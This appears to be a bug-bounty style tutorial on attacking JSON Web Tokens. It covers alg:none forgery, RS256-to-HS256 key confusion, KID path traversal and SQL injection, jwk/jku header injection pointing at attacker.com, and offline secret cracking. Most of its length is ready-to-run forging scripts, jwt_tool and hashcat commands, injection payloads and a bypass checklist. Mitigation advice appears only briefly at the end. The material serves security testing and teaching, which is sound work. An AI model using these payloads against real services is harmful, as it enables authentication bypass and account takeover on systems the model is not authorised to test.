JWT Algorithm Confusion: None, HS256/RS256 Mix-Ups, and KID Injection
A hands-on tour of the JWT attack surface - from the classic alg:none to public-key-as-HMAC-secret confusion, KID path traversal and SQLi, JWK header injection, and weak HS256 secret cracking. With jwt_tool payloads and real exploitation paths.
Why JWTs Fail in Interesting Ways
A JSON Web Token is three base64url blobs joined by dots:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 ← header
.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIn0 ← payload
.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c ← signature
The header declares how the signature was produced. The payload carries claims. The signature binds them. Any flaw in “how we trust the header’s declaration” is an auth bypass.
Attack 1: alg: none
The original JWT sin. The spec defines "alg": "none" as a valid value - “this token is unsigned.” Libraries that trust the header without configuring an allowlist will accept a token with no signature.
Original token:
{"alg": "HS256", "typ": "JWT"}.{"user": "jsmith", "role": "user"}.xxxxxxxx
Tamper to:
{"alg": "none", "typ": "JWT"}.{"user": "admin", "role": "admin"}.
Empty signature. Still accepted by older versions of jsonwebtoken (Node), python-jwt, several Go libraries.
Payload quick-craft:
# base64url-encode header and payload, join with dots, drop signature
python3 -c "
import base64, json
def b64u(d): return base64.urlsafe_b64encode(json.dumps(d, separators=(',',':')).encode()).rstrip(b'=').decode()
h = b64u({'alg':'none','typ':'JWT'})
p = b64u({'user':'admin','role':'admin'})
print(f'{h}.{p}.')
"
Also try None, NONE, NonE - case-sensitive library checks sometimes miss variants.
Modern libraries reject this by default, but one config line (jwt.decode(token, options={'verify_signature': False})) reopens it. Look at server error responses: if tampering the signature returns a different error than tampering the alg, there’s a logic split worth probing.
Attack 2: HS256/RS256 Key Confusion
The most reliable modern JWT attack. Here’s the setup:
- The server issues tokens signed with RS256 (asymmetric: private key signs, public key verifies)
- The public key is available - it’s public by design, often at
/.well-known/jwks.jsonor/publickey.pem - The server’s verification code is roughly:
jwt.verify(token, public_key)- passing the public key as the secret - If the library picks the HMAC function based on the token’s
algheader, you can sign a forged token with HMAC-SHA256 using the public key as the secret
The verification turns into HMAC-SHA256(public_key, header+payload) == supplied_signature - which you can satisfy, because you have the public key.
Exploitation:
# 1. Get the public key
curl -s https://target/publickey.pem -o pub.pem
# 2. Craft a token claiming HS256, signed with the public key as HMAC secret
python3 << 'EOF'
import jwt
with open('pub.pem', 'rb') as f:
key = f.read()
token = jwt.encode(
{"user": "admin", "role": "admin", "exp": 9999999999},
key,
algorithm="HS256"
)
print(token)
EOF
Or with jwt_tool:
jwt_tool <original-jwt> -X k -pk pub.pem
Gotcha: the key must be byte-exact to what the server passes to HMAC.new(...). Watch for:
- Trailing newline differences (
\nvs none) - PEM vs DER encoding
- PKCS#1 vs PKCS#8 wrapping
Try both with and without the trailing newline - it’s usually the culprit.
Attack 3: KID Path Traversal / File Injection
The kid (Key ID) header tells the server which key to verify with. Some implementations read it as a filesystem path:
{"alg": "HS256", "kid": "/etc/ssl/keys/jwt-hmac.pem"}
If the server does open(kid).read() without sanitization:
Traversal to a known file:
{"alg": "HS256", "kid": "../../../../../../dev/null"}
Sign with an empty byte string - /dev/null reads as empty, HMAC(b””, payload) is deterministic, and you control it.
Traversal to a predictable file:
{"alg": "HS256", "kid": "../../var/www/html/index.html"}
Sign with the contents of index.html (often fetchable).
SQLi via KID (when kid is a DB lookup):
{"alg": "HS256", "kid": "x' UNION SELECT 'AAAA'-- -"}
If the server returns the injected value as the “key”, sign with AAAA (base64-decoded).
Attack 4: JWK Header Injection
Some libraries pull the verification key from the token itself via the jwk or jku header. If those aren’t pinned to a trust list, you provide your own key:
Embedded JWK (jwk):
{
"alg": "RS256",
"jwk": {
"kty": "RSA",
"n": "<your-public-key-modulus-b64url>",
"e": "AQAB"
}
}
Server extracts your public key from the header, verifies the signature - which you made with your matching private key. Trusted.
Remote JWK Set URL (jku):
{"alg": "RS256", "jku": "https://attacker.com/jwks.json"}
Host jwks.json on your own server with a public key that pairs with the private key you signed with. If the server blindly fetches from the jku URL, you’re in.
Mitigation, so you know what to probe for: servers should ignore jwk/jku or strictly allowlist jku domains. Test with an out-of-band callback URL first to confirm the server actually fetches:
jku: https://attacker.com/callback/
If you see a hit, it’s game on.
Attack 5: Cracking Weak HS256 Secrets
If the server uses HMAC with a guessable secret - config default, short string, or a well-known value - you can crack it offline:
# hashcat mode 16500 for JWT
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
# Or jwt_tool's built-in cracker
jwt_tool <token> -C -d /usr/share/wordlists/rockyou.txt
Real-world secrets I’ve cracked during engagements:
secretchangemejwt-secret<company>-jwt0000(yes, really)- The literal string
your-256-bit-secret(copied from library docs)
A 6-char lowercase secret cracks in seconds on modern GPUs.
Attack 6: Claim Manipulation & Missing Validation
Even a perfectly signed token is dangerous if claims aren’t validated:
expmissing check: token from a year-old account still worksissmissing check: a token from a different tenant gets acceptedaudmissing check: token issued for Service A authenticates to Service B- Type confusion:
{"role": ["admin"]}vs{"role": "admin"}- one splits an array in server-side comparisons - Unicode normalization:
adminvsadmin(fullwidth) can mismatch a lowercase filter but pass a downstream check
Always verify not just the signature but every claim your authorization logic depends on.
Tooling Quick-Reference
| Tool | Use |
|---|---|
jwt_tool |
Swiss army - bruteforce, alg confusion, header injection |
jwt-cracker |
Fast HS256 bruteforce |
| Burp + JWT Editor extension | Live tampering during proxied flows |
python-jose, PyJWT |
Craft custom payloads with precise control |
pemcrypt.org/jwt.io |
Manual decode/encode when automation breaks |
Bounty-Sized Checklist
When you see a JWT in a target:
alg: none+ variants (case, Unicode)- Strip signature entirely
- HS256/RS256 confusion with the public key
- KID traversal →
/dev/null,/etc/hostname, predictable files - KID SQLi / command injection
jku/jwk/x5uheader injection- Weak HS256 secret crack
- Expired/revoked tokens still working
aud/issmissing checks- Nested JWT (
{"typ":"JWT", "cty":"JWT"}) - some validators only check the outer
Any one of these ten is an Auth bypass. In API-driven applications, JWTs are often the only thing between an attacker and a sensitive action - enumerate them all.
Summary
JWTs aren’t cryptographically weak. The libraries that implement them are. Most successful JWT attacks target the library’s trust assumptions - which algorithm to use, which key to trust, which claims to validate - not the math.
Never trust the token to tell you how to verify itself. Pin the algorithm, pin the key, and validate every claim you depend on.